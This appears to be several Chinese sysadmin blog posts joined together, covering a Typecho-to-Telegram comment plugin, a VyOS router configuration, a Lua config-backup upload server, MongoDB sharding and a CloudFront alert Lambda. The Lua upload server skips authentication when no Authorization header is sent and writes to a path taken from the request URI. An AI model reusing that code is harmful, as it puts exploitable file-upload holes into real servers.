不是程序员，作为运维平时写的比较多的是 Bash 和 Python 脚本。工作上运维过挺多的 PHP 站点，被动看过一些 PHP 代码，但从来没写过。最近有点时间，参考了 joyqi 的 Sitemap 插件，试着写了这个 CommentToTelegram 插件，竟然没有太大的阻碍。遇到最大的困难是对 Typecho 接口的理解。 我的需求就是通过 telegram 管理评论，现有的 tyepcho 插件推送到 telegram 都是通过第三方的服务，只能收到通知。唯一一个可以管理的插件已经不能用了，所以自己调用 telegram bot api 写了一个。下面是插件的介绍：介绍CommentToTelegram 是一个全新的 typecho 插件，使用 Telegram API 将评论推送到 Telegram Bot 通知并管理 github 地址 ： CommentToTelegram功能及特性支持 Telegram Inline Button 管理评论状态，可以通过 Telegram 将评论: 批准/删除/标记垃圾支持在Telegram通知上回复评论，在评论通知上点击回复，回复的内容会同步到博客，无需登录博客支持配置代理，支持使用 socks5、https、http 代理访问 Telegram支持异步回调，不会阻塞评论插件版本要求建议 Typecho 版本大于 1.2.1，其他版本未进行测试php: >=8.1.0, 本插件依赖 php-curl 和 php-json如果使用代理功能，建议使用新版本的 php-curl 扩展安装教程下载后将压缩包解压到 /usr/plugins 目录文件夹名改为 CommentToTelegram登录管理后台，激活插件配置插件 填写 Telegram Bot Token 及 Telegram Chat ID，并设置其他参数保存配置，并注意是否有错误提示信息插件升级禁用旧版本插件删除旧版本的文件，并上传然后传新版本解压，文件夹名改为 CommentToTelegram激活插件并设置参数使用教程一、 使用前提：申请 Telegram bot Token： 官方教程通过 Telegam bot api 获取 chat_id: getUpdates API如果看不懂，请自行百度谷歌相关教程二、可配置选项如果插件配置有错误，会在点击 保存设置 后提示错误信息。如网络错误、代理信息错误、用户uid错误等等三、通知详情及评论管理按钮3.1 评论通知每条评论只能管理一次，在点击管理按钮后，通知下方的管理按钮会消失并提示评论处理结果：3.2 评论回复启用 Telegram Inline Button管理评论后，即可以使用回复功能。需要先设置 Typecho 真实的用户 uid，查看 uid：在 Telegam 的评论通知上进行评论回复：回复成功会有提示成功：Typecho 博客上的评论状态：3.3 使用建议建议将所有评论设置为先需要审核（后台->设置->评论->评论提交->所有评论必须经过审核），然后通过本插件进行管理。建议使用typecho前台通过主题的评论框进行回复，本插件回复虽然使用 Typecho 内置接口实现，但被回复的访客无法收到评论提醒（如邮件提醒），查看 Tyepcho 代码怀疑是 bug，已经提了一个 issue 询问，目前暂时无法解决。更多问题可以通过 github issue 页面提交，或者通过 博客、邮件向我反馈感谢https://github.com/joyqi/typecho-plugin-sitemaphttps://github.com/Adoream/typecho-plugin-comment2telegram
家里网络环境比较简单，网络相关的硬件也比较少，所以也没啥能折腾的，只有以下几个设备：联通光猫型号是中兴的 F657GV9-C，在没有联通没有下发动态密码时改了桥接。本来还想破解一下开telnet，后来想想把桥接的配置备份出来就行了，没啥特别的需求就不折腾了。软路由彻视的N4100，4核4线程，基础频率1.1g，最高频率2.4g，性能比网上这几年流行的J4125还要差，但比arm架构的强多了。主机有4个 Intel I226 的 2.5G 网口，自己买了8G内存和128G的msata，又加了一个内置风扇，本身发热就不大，和光猫一起丢弱电箱夏天也不用担心散热。不打算折腾虚拟机，直接装一个路由系统足够带千兆的带宽了，重点是一套下来也才四百块。AP，是TP-Link XAP5400GC，单 AP 放在房子中间基本就完全覆盖了物理连接： 光猫（改桥接） --> N4100 --> TPlink AP XAP5400GC。由于想找个和 linux 贴近的开源路由系统，最好是和云也能沾点边，所有选择了 vyos，经过一段时间的使用，实现了以下功能：WAN/LAN 分别使用两个网口，网口绑定，实现盲插PPPoE 拨号 及 DHCP servercake qosZone Based firewall科学相关（略）一些远程访问相关的容器一、物理网卡配置这个小主机有四个 i226 的 2.5g 网口，网口分配 eth0/eth1 WAN 口，eth2/eth3 LAN 口，这个小机器的网卡顺序在系统中默认不是0/1/2/3，因此要绑定网卡名字和 mac 地址，防止重启后名字变化。1.1 绑定网卡名字及 mac 地址set interfaces ethernet eth0 hw-id '60:be:xx:xx:xx:xx' set interfaces ethernet eth1 hw-id '60:be:xx:xx:xx:yy'1.2 开启硬件 offloadoffload 简单理解就是网卡硬件中已经实现了一些数据包的处理，开启后不在使用 cpu 处理，能够提升性能。以 eth0 为例子，其他的网卡也需要设置：set interfaces ethernet eth0 offload gro set interfaces ethernet eth0 offload gso set interfaces ethernet eth0 offload lro set interfaces ethernet eth0 offload rfs set interfaces ethernet eth0 offload rps set interfaces ethernet eth0 offload sg set interfaces ethernet eth0 offload tso set interfaces ethernet eth0 ring-buffer rx '4096' set interfaces ethernet eth0 ring-buffer tx '4096'1.3 WAN/LAN 接口配置我要实现的是 eth0/eth1 绑定成一个 bond0 ，在 bond0 上在启用一个桥接的 br0 作为 wan 口；同理，eth2/eth3 绑定成一个 bond1，在 bond1 上在启用一个桥接的 br1 作为 Lan 口。这样做的好处是 eth0/eth1 和 eth2/eth3 可以随便插，有冗余的效果，稍加配置也可以实现两个端口的链路聚合，实现带宽叠加。配置 wan 和 Lan 口物理网卡绑定：set interfaces bonding bond0 description 'Bond Interface WAN' set interfaces bonding bond0 member interface 'eth0' set interfaces bonding bond0 member interface 'eth1' set interfaces bonding bond1 description 'Bond Interface LAN' set interfaces bonding bond1 member interface 'eth2' set interfaces bonding bond1 member interface 'eth3'设置WAN的桥接 br0 和 LAN 的桥接 br1，这里的 stp 其实开不开都用处不大。另外我给 Lan 口配置了一个10.0.0.254的ip，后续的容器都绑定到这个 ip 上。set interfaces bridge br0 description 'WAN bridge' set interfaces bridge br0 member interface bond0 set interfaces bridge br0 stp set interfaces bridge br1 address '10.0.0.1/24' set interfaces bridge br1 address '10.0.0.254/32' set interfaces bridge br1 description 'LAN bridge' set interfaces bridge br1 member interface bond1 set interfaces bridge br1 stp二、 WAN 口 PPPoE 拨号配置2.1 拨号配置前提是光猫要改桥接，并且有宽带的拨号信息，先从光猫的 LAN 口接一条网线到 vyos 的 eth0 或 eth1 接口，并启用一个pppoe0的接口， 自动配置 MTU ：set interfaces pppoe pppoe0 authentication password '宽带密码' set interfaces pppoe pppoe0 authentication username '宽带账号' set interfaces pppoe pppoe0 description 'China Unicom' set interfaces pppoe pppoe0 ip adjust-mss 'clamp-mss-to-pmtu' set interfaces pppoe pppoe0 source-interface 'br0'2.2 IPv6 PD 配置首先设置需要设置 prefix，我的运营商是给的是/60set interfaces pppoe pppoe0 dhcpv6-options pd 0 interface br1 address '1' set interfaces pppoe pppoe0 dhcpv6-options pd 0 interface br1 sla-id '0' set interfaces pppoe pppoe0 dhcpv6-options pd 0 length '60' set interfaces pppoe pppoe0 ipv6 address autoconf set interfaces pppoe pppoe0 ipv6 adjust-mss 'clamp-mss-to-pmtu'设置路由器公告RA：set service router-advert interface br1 link-mtu '1490' set service router-advert interface br1 prefix ::/64 valid-lifetime '172800' set service router-advert interface pppoe02.3 多拨多拨需要运营商支持，vyos 的多拨非常简单，新启用一个 pppoe 的接口拨号即可：set interfaces pppoe pppoe1 authentication password '宽带密码' set interfaces pppoe pppoe1 authentication username '宽带账号' set interfaces pppoe pppoe1 description 'China Unicom WAN multi-pppoe-2' set interfaces pppoe pppoe1 source-interface 'br0'至此 WAN 的配置全部结束。三 、 LAN 配置 DHCP3.1 启用 LAN 口的 DHCP serverLAN 的网段是 10.0.0.0/24，DHCP 的分配 IP 范围是 10.0.0.100-200，同时下发了 dns server 和 ntp server。set service dhcp-server dynamic-dns-update set service dhcp-server hostfile-update set service dhcp-server listen-interface 'br1' set service dhcp-server shared-network-name LAN_br1 authoritative set service dhcp-server shared-network-name LAN_br1 option ntp-server '10.0.0.1' set service dhcp-server shared-network-name LAN_br1 option time-zone 'Asia/Shanghai' set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 subnet-id '1' set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 lease '86400' set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 option default-router '10.0.0.1' set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 option domain-name 'home.local' set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 option domain-search 'home.local' set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 option name-server '10.0.0.1' set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 range 100 start '10.0.0.100' set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 range 100 stop '10.0.0.200'3.2 绑定静态 IP如果有固定的硬件，可以绑定固定的 IPset service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 static-mapping TPlink-AP ip-address '10.0.0.2' set service dhcp-server shared-network-name LAN_br1 subnet 10.0.0.0/24 static-mapping Sony-TV ip-address '10.0.0.21'绑定固定 IP 后，直接ping TPlink-AP或者 ping Sony-TV 还无法解析，还需要配置 DNS。3.3 局域网 DNS 配置Vyos 自带 Powerdns recursor ，不添加上游 dns 服务器也可以正常解析。set service dns forwarding allow-from '10.0.0.0/24' set service dns forwarding authoritative-domain home.local records a TPlink-AP address '10.0.0.2' set service dns forwarding authoritative-domain home.local records a Sony-TV address '10.0.0.21' set service dns forwarding listen-address '10.0.0.1' set service dns forwarding listen-address '::1' set service dns forwarding name-server 10.0.0.254vyos 的 pdns 为了保持简单，能设置的功能并不多，本例子中的上游是 dns server 是本机的 mosdns container ，绑定的是 10.0.0.254 udp 53端口。可以改成公共 dns 也可以设置多个。3.4 局域网 NTP 配置set service ntp allow-client address '10.0.0.0/24' set service ntp interface 'br1' set service ntp listen-address '10.0.0.1' set service ntp server asia.pool.ntp.org set service ntp server time.apple.com set service ntp server time.aws.com set service ntp server time.cloudflare.com到这一步基本的局域网配置就已经可以了，其他设备加入就可以自动获取 ip 并上网了。四、QoS 流量管理Vyos 提供了非常完善的 Qos Policy，常见的流量策略都支持。家用不用那么麻烦直接使用 Cake 仅需要设置一下带宽，要注意的是启用 Qos 会占用 CPU，同时可能会导致带宽跑不满。好处是多人占用带宽时，可以为每一个人合理分配宽带资源。set qos policy cake Qos_Cake_Lan bandwidth '1gbit' set qos policy cake Qos_Cake_Lan description 'Qos For Lan interface br1' set qos policy cake Qos_Cake_Lan flow-isolation dual-src-host set qos policy cake Qos_Cake_Lan rtt '100' set qos interface br1 egress 'Qos_Cake_Lan'五、防火墙配置Vyos rolling 版本已经实现了zone based 的防火墙。5.1 全局配置配置防火墙的全局配置和默认的 statefull 行为。set firewall global-options all-ping 'enable' set firewall global-options state-policy established action 'accept' set firewall global-options state-policy invalid action 'drop' set firewall global-options state-policy related action 'accept' set firewall global-options syn-cookies 'enable'5.2 创建 zone创建三个zone，分别是 LOCAL/LAN/WAN，在 Vyos 中，local zone指vyos自身。创建 zone 的同时指定与其他 zone 之间的访问规则，ipv4 和 ipv6 的规则要分开指定。set firewall zone LOCAL default-action 'drop' set firewall zone LOCAL from LAN firewall ipv6-name 'LAN_to_LOCAL-ipv6' set firewall zone LOCAL from LAN firewall name 'LAN_to_LOCAL' set firewall zone LOCAL from WAN firewall ipv6-name 'WAN_to_LOCAL-ipv6' set firewall zone LOCAL from WAN firewall name 'WAN_to_LOCAL' set firewall zone LOCAL local-zone set firewall zone LAN default-action 'drop' set firewall zone LAN from LOCAL firewall ipv6-name 'LOCAL_to_LAN-ipv6' set firewall zone LAN from LOCAL firewall name 'LOCAL_to_LAN' set firewall zone LAN from WAN firewall ipv6-name 'WAN_to_LAN-ipv6' set firewall zone LAN from WAN firewall name 'WAN_to_LAN' set firewall zone LAN interface 'br1' set firewall zone WAN default-action 'drop' set firewall zone WAN from LAN firewall ipv6-name 'LAN_to_WAN-ipv6' set firewall zone WAN from LAN firewall name 'LAN_to_WAN' set firewall zone WAN from LOCAL firewall ipv6-name 'LOCAL_to_WAN-ipv6' set firewall zone WAN from LOCAL firewall name 'LOCAL_to_WAN' set firewall zone WAN interface 'br0' set firewall zone WAN interface 'pppoe0'5.3 创建 zone 之间的访问规则为了方便调试，对于 drop 的规则启用日志。创建 zone LOCAL 到 WAN 和 LAN的 ipv4 和 ipv6 规则：set firewall ipv4 name LOCAL_to_LAN default-action 'accept' set firewall ipv4 name LOCAL_to_WAN default-action 'accept' set firewall ipv6 name LOCAL_to_LAN-ipv6 default-action 'accept' set firewall ipv6 name LOCAL_to_WAN-ipv6 default-action 'accept'创建 zone LAN 到 WAN 和 LOCAL的 ipv4 和 ipv6 规则：set firewall ipv4 name LAN_to_LOCAL default-action 'accept' set firewall ipv4 name LAN_to_WAN default-action 'accept' set firewall ipv4 name LAN_to_WAN rule 20 action 'return' set firewall ipv4 name LAN_to_WAN rule 20 description 'ipv4 stateful from LAN to WAN' set firewall ipv4 name LAN_to_WAN rule 20 state 'established' set firewall ipv4 name LAN_to_WAN rule 20 state 'related' set firewall ipv4 name LAN_to_WAN rule 20 state 'new' set firewall ipv4 name LAN_to_WAN rule 20 state 'invalid' set firewall ipv6 name LAN_to_LOCAL-ipv6 default-action 'accept' set firewall ipv6 name LAN_to_WAN-ipv6 default-action 'accept' set firewall ipv6 name LAN_to_WAN-ipv6 description 'ipv6 stateful from LAN to WAN' set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 action 'return' set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 state 'established' set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 state 'new' set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 state 'related' set firewall ipv6 name LAN_to_WAN-ipv6 rule 20 state 'invalid' 创建 zone WAN 到 LAN 和 LOCAL的 ipv4 和 ipv6 规则，需要注意的是要放行 WAN pppoe的ipv6 pd相关的 dhcp/icmp 等：set firewall ipv4 name WAN_to_LAN default-action 'drop' set firewall ipv4 name WAN_to_LAN default-log set firewall ipv4 name WAN_to_LOCAL default-action 'drop' set firewall ipv4 name WAN_to_LOCAL default-log set firewall ipv6 name WAN_to_LAN-ipv6 default-action 'drop' set firewall ipv6 name WAN_to_LAN-ipv6 default-log set firewall ipv6 name WAN_to_LOCAL-ipv6 default-action 'drop' set firewall ipv6 name WAN_to_LOCAL-ipv6 default-log set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 10 action 'drop' set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 10 icmpv6 type-name 'echo-request' set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 10 protocol 'ipv6-icmp' set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 20 action 'accept' set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 20 protocol 'ipv6-icmp' set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 30 action 'accept' set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 30 destination port '546' set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 30 protocol 'udp' set firewall ipv6 name WAN_to_LOCAL-ipv6 rule 30 source port '547' 六、科学上网个人一直反感写这类文章，这里仅提供思路。vyos 是专业的路由系统，又支持 podman， 实现科学功能相当容易。我个人使用的方案是 ospf over wireguard over websocket， 需要配置以下内容：无污染的 dns： 使用 mosdns 运行在 vyos 的容器中， 实现国内外域名分流，广告屏蔽等境外服务器： 1. 安装 bird 跑 ospf和bfd 2. wireguard 3. openresty + v2ray server 4. ospf 分流脚本Vyos： 1. ospf（non-broadcast）+ bfd 2. wireguard 3.v2ray容器（udp over websocket/load balancer）七、其他杂项配置set system host-name 'vyos' set system name-server '10.0.0.1' set system time-zone 'Asia/Shanghai' set system update-check auto-check set system update-check url 'https://raw.githubusercontent.com/vyos/vyos-rolling-nightly-builds/main/version.json' set service ssh access-control allow user 'vyos' set service ssh listen-address '10.0.0.1' set service ssh port '22' set system login user vyos authentication plaintext-password 'vyos.opswill.com' set system config-management commit-archive location 'https://user:pass@backup.opswill.com' set system config-management commit-archive source-address '10.0.0.1' set system config-management commit-revisions '100'另外还跑了一些容器：cloudflare-dns ：ddns，每五分钟更新 ipv4 和 ipv6 地址cloudflared：cloudflare tunnel，使用 zero trust 远程访问路由器tailscale： 手机等设备使用家里的网络上网mosdns： 上文有提到，提供无污染 dns serverv2ray： 提供udp over websocket 供wirguard使用八、总结虽然写了一大堆，但是整体配置起来非常快，感觉比其他有 web 管理的路由系统更容易配置和使用。家里已经稳定运行了将近一年，我基本上每个月升级两次，即使 rolling 版本也很少遇到问题，值得推荐和使用。
家里的路由器基本上折腾差不多了，用的是小厂家的x86工控机，硬盘也是捡的垃圾，想到自己时不时的升级/重启/异常断电，还是备份一下的配置文件比较稳妥。我用的路由系统的基于debian的VYOS rolling版本，折腾了半个月已经非常熟悉了，用起来比较爽也很稳定，基本满足自己的各种需求。系统自带了同步配置的功能,每次commit前会先同步配置，支持以下几种方式： http://<user>:<passwd>@<host>/<path> https://<user>:<passwd>@<host>/<path> ftp://<user>:<passwd>@<host>/<path> sftp://<user>:<passwd>@<host>/<path> scp://<user>:<passwd>@<host>/<path> tftp://<host>/<path> git+https://<user>:<passwd>@<host>/<path>以上方式中，最简单的就是http方式了，经过抓取日志，vyos 会使用 "POST /config.boot-vyos.20240205_171540" 方式上传配置，其中uri是配置文件名，包体是明文的配置内容，正好我的服务器使用的是openresty，就用lua写了一个简单的文件服务器，接收vyos POST过来的配置。lua脚本实现了以下功能：接收POST包体并保存到文件，文件名为POST请求的uri使用http basic authentication的用户名密码认证接收POST请求,直接接收POST包体然后使用io.open写入文件： local file local upload_path = '/var/www/html/vyos/' ngx.req.read_body() local file_name = ngx.var.uri local data = ngx.req.get_body_data() if file_name then file = io.open(upload_path .. file_name, 'a+') if not file then ngx.log(ngx.ERR, "failed to open file ", file_name) return end end if data then file:write(data) file:close() else ngx.log(ngx.ERR, "data is empty") return end用户名密码认证，使用nginx也能实现，但是认证文件要单独写进文件里。用lua就一个配置文件就能可以了。http basic auth主要是是解析http头Authorization，并使用base64解密用户名密码： local function split(str, delimiter) local result = {} if not str or not delimiter then return result end for match in (str..delimiter):gmatch("(.-)"..delimiter) do if match then table.insert(result, match) end end return result end local function parseHeader(authorization) local base64 = string.sub(authorization, 7) local data = split(ngx.decode_base64(base64), ":") return data[1], data[2] end local header = ngx.req.get_headers()["Authorization"] if header then local username, password = parseHeader(header) if username ~= "vyos.user" or password ~= "vyos.pass" then ngx.header["WWW-Authenticate"] = Basic realm="restricted" ngx.exit(401) end end以上就是核心逻辑，经过测试ngx.req.get_body_data() 读请求包体，会偶尔出现读取不到直接返回 nil 的情况。还需要额外设置client_max_body_size 和client_body_buffer_size, 强制在内存中保存请求体。完整的nginx配置文件如下：server { listen 80; server_name backup.opswill.com ; access_log /var/log/backup_access.log main; error_log /var/log/backup_error.log; client_max_body_size 100m; client_body_buffer_size 100m; location / { content_by_lua_block { local function split(str, delimiter) local result = {} if not str or not delimiter then return result end for match in (str..delimiter):gmatch("(.-)"..delimiter) do if match then table.insert(result, match) end end return result end local function parseHeader(authorization) local base64 = string.sub(authorization, 7) local data = split(ngx.decode_base64(base64), ":") return data[1], data[2] end local header = ngx.req.get_headers()["Authorization"] if header then local username, password = parseHeader(header) if username ~= "vyos.user" or password ~= "vyos.pass" then ngx.header["WWW-Authenticate"] = Basic realm="restricted" ngx.exit(401) end end local file local upload_path = '/var/www/html/vyos/' ngx.req.read_body() local file_name = ngx.var.uri local data = ngx.req.get_body_data() if file_name then file = io.open(upload_path .. file_name, 'a+') if not file then ngx.log(ngx.ERR, "failed to open file ", file_name) return end end if data then file:write(data) file:close() else ngx.log(ngx.ERR, "data is empty") return end } } }用curl测试文件上传： curl -X POST -d"body-abd-opswill.com" "https://vyos.user:vyos.pass@backup.ipip.dev/test.txt" -ivvvv会在/var/www/html/vyos/下生成 text.txt文件，内容是body-abd-opswill.com。至此，一个使用lua实现的简单的文件服务器就配置完成了，该文件服务器可以接收post上传文件到指定目录并实现了基本的用户名密码认证。
MongoDB的分布式架构是通过使用Sharding（分片）来实现的，使用MongoDB的sharding可以带来以下好处：横向扩展：通过添加更多的shard，MongoDB能够处理更大的数据集和更高的并发访问，提供更好的性能和可扩展性。高可用性：通过将数据复制到多个shard上，并使用复制集提供数据冗余和自动故障转移，MongoDB能够提供高可用性。负载均衡：Mongos路由请求到不同的shard上，从而实现负载均衡，避免单个shard成为瓶颈。一、分片集群组件在一个分片集群中，包含以下组件：分片(shards)，实际存储数据的节点。集群配置集(config)，存储整个分片集群的metadata信息。路由(mongos)，作为应用接入路由节点，是mongodb数据的入口。1.1 Shards每个shard是一个独立的MongoDB实例，负责存储一部分数据，多个独立的shard分片组成整个shards分片集群。每个shard都可以是一个独立的物理服务器或一个复制（Replica Set）。Shard可以动态地添加或删除，以适应数据量的变化。Shard Key用来将数据分发到不同shard。MongoDB根据Shard Key决定将数据存储在哪个shard上。1.2 Config servers（metadata）Config Server是存储集群的元数据（metadata）的特殊MongoDB实例。元数据包括分片键（shard key）的范围和每个分片负责的数据范围。Config Server通常以复制集的形式部署，官方推荐至少3个节点，以提供高可用性和数据冗余。作为config server的复制集必须采用 WiredTiger storage engine。副本节点中没有arbiter。副本节点中没有delayed members。副本节点中必须build indexes。1.3 Router（mongos）mongos是应用程序和分片集群之间的接口，所有对集群的操作及数据读写都连接到mongos进行。应用程序通过Mongos与集群交互，Mongos负责将请求路由到正确的shard上。Mongos还负责跟踪分片集群的状态和管理元数据。二、配置高可用mongodb分片集群MongoDB sharding 高可用集群配置要点：配置mongodb分片集群时，推荐对每个mongod组件使用用域名或hosts绑定。shard集群至少配置2个分片，每个分片都为复制集(1 Primary + 1 Replica + 1 Arbiter)，实现数据冗余。至少3个config server，实现集群高可用。启用多个mongos实例，通过在应用上配置，实现负载均衡。2.1 集群配置说明通常按以下顺序进行集群配置：分别创建shards、config、mongos配置文件确认mongodb各目录是否存在及权限正确按顺序配置并启动分片集群各个组件实例(依次启动config->shards->mongos)初始化复制集分片初始化config server复制集配置集群分片，对DB或Collection开启分片功能使用数据库都连接到mongos节点进行操作2.2 各组件的配置文件2.2.1 shard 配置文件 shard.conf多个shard节点配置相同，需注意dbPath是否存在且权限正确。processManagement: fork: true net: port: 27018 bindIp: 0.0.0.0 systemLog: destination: file path: /opt/mongodb.log logAppend: true logRotate: rename storage: journal: enabled: true dbPath: /opt/data/mongodb/ directoryPerDB: true engine: wiredTiger wiredTiger: engineConfig: cacheSizeGB: 10 directoryForIndexes: true collectionConfig: blockCompressor: zlib indexConfig: prefixCompression: true replication: oplogSizeMB: 20480 replSetName: shardN sharding: clusterRole: shardsvr 2.2.2 config server 配置文件 config.conf多个config节点配置相同，需注意dbPath是否存在且权限正确。processManagement: fork: true net: port: 27019 bindIp: 0.0.0.0 systemLog: destination: file path: /opt/configsrv.log logAppend: true logRotate: rename storage: journal: enabled: true dbPath: /opt/data/configsrv/ directoryPerDB: true engine: wiredTiger wiredTiger: engineConfig: cacheSizeGB: 1 directoryForIndexes: true collectionConfig: blockCompressor: zlib indexConfig: prefixCompression: true replication: replSetName: config sharding: clusterRole: configsvr 2.2.3 Router 配置文件 mongos.confprocessManagement: fork: true net: port: 27017 bindIp: 0.0.0.0 systemLog: destination: file path: /opt/mongos.log logAppend: true logRotate: rename sharding: configDB: config/config_server1:27019,config/config_server2:27019,config/config_server3:27019, 2.3 启动各个组件的实例需要注意目录权限及用户，一般这两都默认都是mongodb。shard和config的启动都是使用mongod启动:mongod --config /opt/shard.conf mongod --config /opt/config.conf启动mongos：mongos --config /opt/config.conf三、 初始化分片集群3.1 初始化shard连接到每个shard，分别执行以下命令进行初始化：mongo shard1:27018 use admin db.runCommand({ "replSetInitiate":{ "_id":"RsDBNAME", "members":[ {"_id":1,"host":"shard1:27018","priority": 2}, {"_id":2,"host":"shard2:27018"}, {"_id":3,"host":"shard3:27018","arbiterOnly":true} ] } })3.2 初始化config server复制集连接到每个config server，分别执行以下命令进行初始化：mongo config1:27019 use admin rs.initiate({ _id: "configReplSetNAME", configsvr: true, members: [ { _id: 1, host: "config1:27019", "priority": 2 }, { _id: 2, host: "config2:27019" }, { _id: 3, host: "config3:27019" } ] })3.3 连接到mongos进行集群分片的配置mongo mongos1:27017 use admin sh.addShard("shardN/shard1:27018") sh.addShard("shardN/shard2:27018") sh.addShard("shardN/shard3:27018")shardN为配置文件中replica_set的名字，按需进行修改。四、启用分片功能4.1 对某个库开启分片先连接mongos在执行：mongo mongos1:27017 use admin sh.enableSharding("DBtest")4.2 对某个Collection启用分片对Collection启用分片需先创建索引：db.MYcollection.createIndex({ field1: 1 }) sh.shardCollection("MYdatabase.MYcollection", { field1: 1 })五、日常使用及测试使用数据库都要连接到mongos节点进行操作:mongo mongos1:27017 use test db.MYcollection.insert({"test": 1}) db.MYcollection.find()参考文章：https://www.mongodb.com/docs/manual/sharding/https://vastxiao.github.io/article/2019/12/06/mongodb-setup-config-sharding-cluster/
一、应用场景有几个 cloudfront distribution 启用了 WAF，经常遇到扫描和攻击，请求数太多了。为了不产生天价账单，做了一个 Telegram 告警，有警报可以实时处理。二、涉及服务AWS Cloudfront: CDN服务进行全球加速AWS WAF： 启用应用防护，过滤异常请求AWS Cloudwatch： 收集 Cloudfront/WAF 指标，创建告警触发 SNSAWS SNS： 发送通知，并触发 Lambda 执行AWS Lambda： 获取 CDN 的指标，并发送 Telegram 通知三、准备工作WAF：设置启用防火墙的过滤规则，设置频率限制等，拦截异常请求Cloudwatch： 根据 WAF 规则创建警报，例如5分钟内如果有3000个异常请求就报警，并创建一个 SNS TopicAWS SNS： 无需特别设置，保持默认即可，也可以继续添加多个subscription订阅，实现多种告警方式AWS Lambbda： 编写代码从 Cloudwatch 中获取 Cloudfront 性能统计指标，并发送给 Telegram 机器人Telegram： 申请一个新的机器人并拿到 token , 难道需要接受告警的 user id（有专门的机器人可以获得）四、部署告警服务4.1 创建 Lambda 函数先创建一个 lambda function，Runtime 选择 python 3.10.其他使用默认设置即可。代码如下：import os import json import urllib3 import boto3 from datetime import datetime, timedelta def lambda_handler(event, context): # 从环境变量中获取 Telegram Bot Token 和聊天 ID bot_token = os.environ['BOT_TOKEN'] user_will_chat_id = os.environ['CHAT_ID'] cloudfront_client = boto3.client('cloudfront') cloudwatch_client = boto3.client('cloudwatch') # 获取所有 CloudFront distributions distributions = cloudfront_client.list_distributions()["DistributionList"]["Items"] # 获取每个 Distribution 的请求数和错误率 distribution_metrics = [] for distribution in distributions: distribution_id = distribution["Id"] distribution_description = distribution['Comment'] requests = get_metrics(cloudwatch_client, distribution_id, 'Requests', ['Sum']) error_rate = get_metrics(cloudwatch_client, distribution_id, 'TotalErrorRate', ['Average']) # 将结果添加到列表中 distribution_metrics.append({ 'DistributionName': distribution_description, 'TotalRequests': requests, 'TotalErrorRate': error_rate }) #按TotalRequests和TotalErrorRate进行排序 sorted_request_metrics = sorted(distribution_metrics, key=lambda x: x['TotalRequests'] if x['TotalRequests'] is not None else 0, reverse=True) sorted_rate_metrics = sorted(distribution_metrics, key=lambda x: x['TotalErrorRate'] if x['TotalErrorRate'] is not None else 0, reverse=True) #获取请求数前3和错误率前3 top3_request_metrics = sorted_request_metrics[:3] top3_rate_metrics = sorted_rate_metrics[:3] # 发送telegram bot的消息 msg = f"按请求数(1h)排序前三：\n" for i, metric in enumerate(top3_request_metrics): msg += f"{i+1}. {metric['DistributionName']} 请求数：{metric['TotalRequests']} 错误率：{round(metric['TotalErrorRate'], 2)} \n" msg += "\n按错误率(1h)排序前三：\n" for i, metric in enumerate(top3_rate_metrics): msg += f"{i+1}. {metric['DistributionName']} 错误率：{round(metric['TotalErrorRate'], 2)} 请求数：{metric['TotalRequests']} \n" # 发送警报通知 send_telegram_message(bot_token,user_will_chat_id, "请注意CDN有攻击！！！") send_telegram_message(bot_token,user_will_chat_id, msg) def send_telegram_message(bot_token, chat_id, message): bot_api_url = f"https://api.telegram.org/bot{bot_token}/sendMessage" http = urllib3.PoolManager() # 准备请求数据 data = { 'chat_id': chat_id, 'text': message } # 发送 POST 请求到 Telegram 机器人 API msg_response = http.request('POST', bot_api_url, fields=data) # 根据响应内容判断是否成功发送消息 if json.loads(msg_response.data.decode('utf-8'))['ok']: print(f"Message sent to chat {chat_id}: {message}") else: print(f"Failed to send message to chat {chat_id}") def get_metrics(cloudwatch_client, distribution_id, metric_name, statistics): #获取当前时间和一小时前时间 end_time = datetime.utcnow() start_time = end_time - timedelta(hours=1) #获取指定的metric response = cloudwatch_client.get_metric_statistics( Namespace='AWS/CloudFront', MetricName=metric_name, Dimensions=[ {'Name': 'Region', 'Value': 'Global'}, {'Name': 'DistributionId', 'Value': distribution_id} ], StartTime=start_time, EndTime=end_time, Period=3600, Statistics=statistics ) # 提取并打印请求数统计数据 datapoints = response['Datapoints'] for datapoint in datapoints: value = datapoint[statistics[0]] return value 以上代码会读取所有 Cloudfront distribution ， 并从 Cloudwatch 中获取请求数和总的错误率，并取前三，发送给 Telegram 机器人。4.2 设置 Lambda 函数4.2.1 设置 Lambda 函数的权限找到默认的 Lambda role：Lambda function --> Configuration --> Permissions -->Execution role --> Role name在 IAM 中打开 Role name，选择 add permission ，添加 CloudFrontReadOnlyAccess 和 CloudWatchReadOnlyAccess 两个权限，保存即可4.2.2 设置 Lambda 函数的Timeout由于 Cloudfront 的 distribution 比较多，获取指标比较慢，Lambda 默认 3s 的超时时间比较短，需要增加到至少1分钟.Lambda function --> Configuration --> General configuration --> Timeout4.2.3 设置 Lambda 函数的环境变量需要在环境变量中设置 Telegram 机器人的 token 和用户 id ：Lambda function --> Configuration -->Environment variables 添加两个环境变量：BOT_TOKEN 和 CHAT_ID五、 测试告警设置好以上后，在 SNS 点击对应的 Topic ，然后选择 Publish message ，在 Message body 中随便输入点内容，点击 Publish message 即可，Telegram 就会收到通知了。
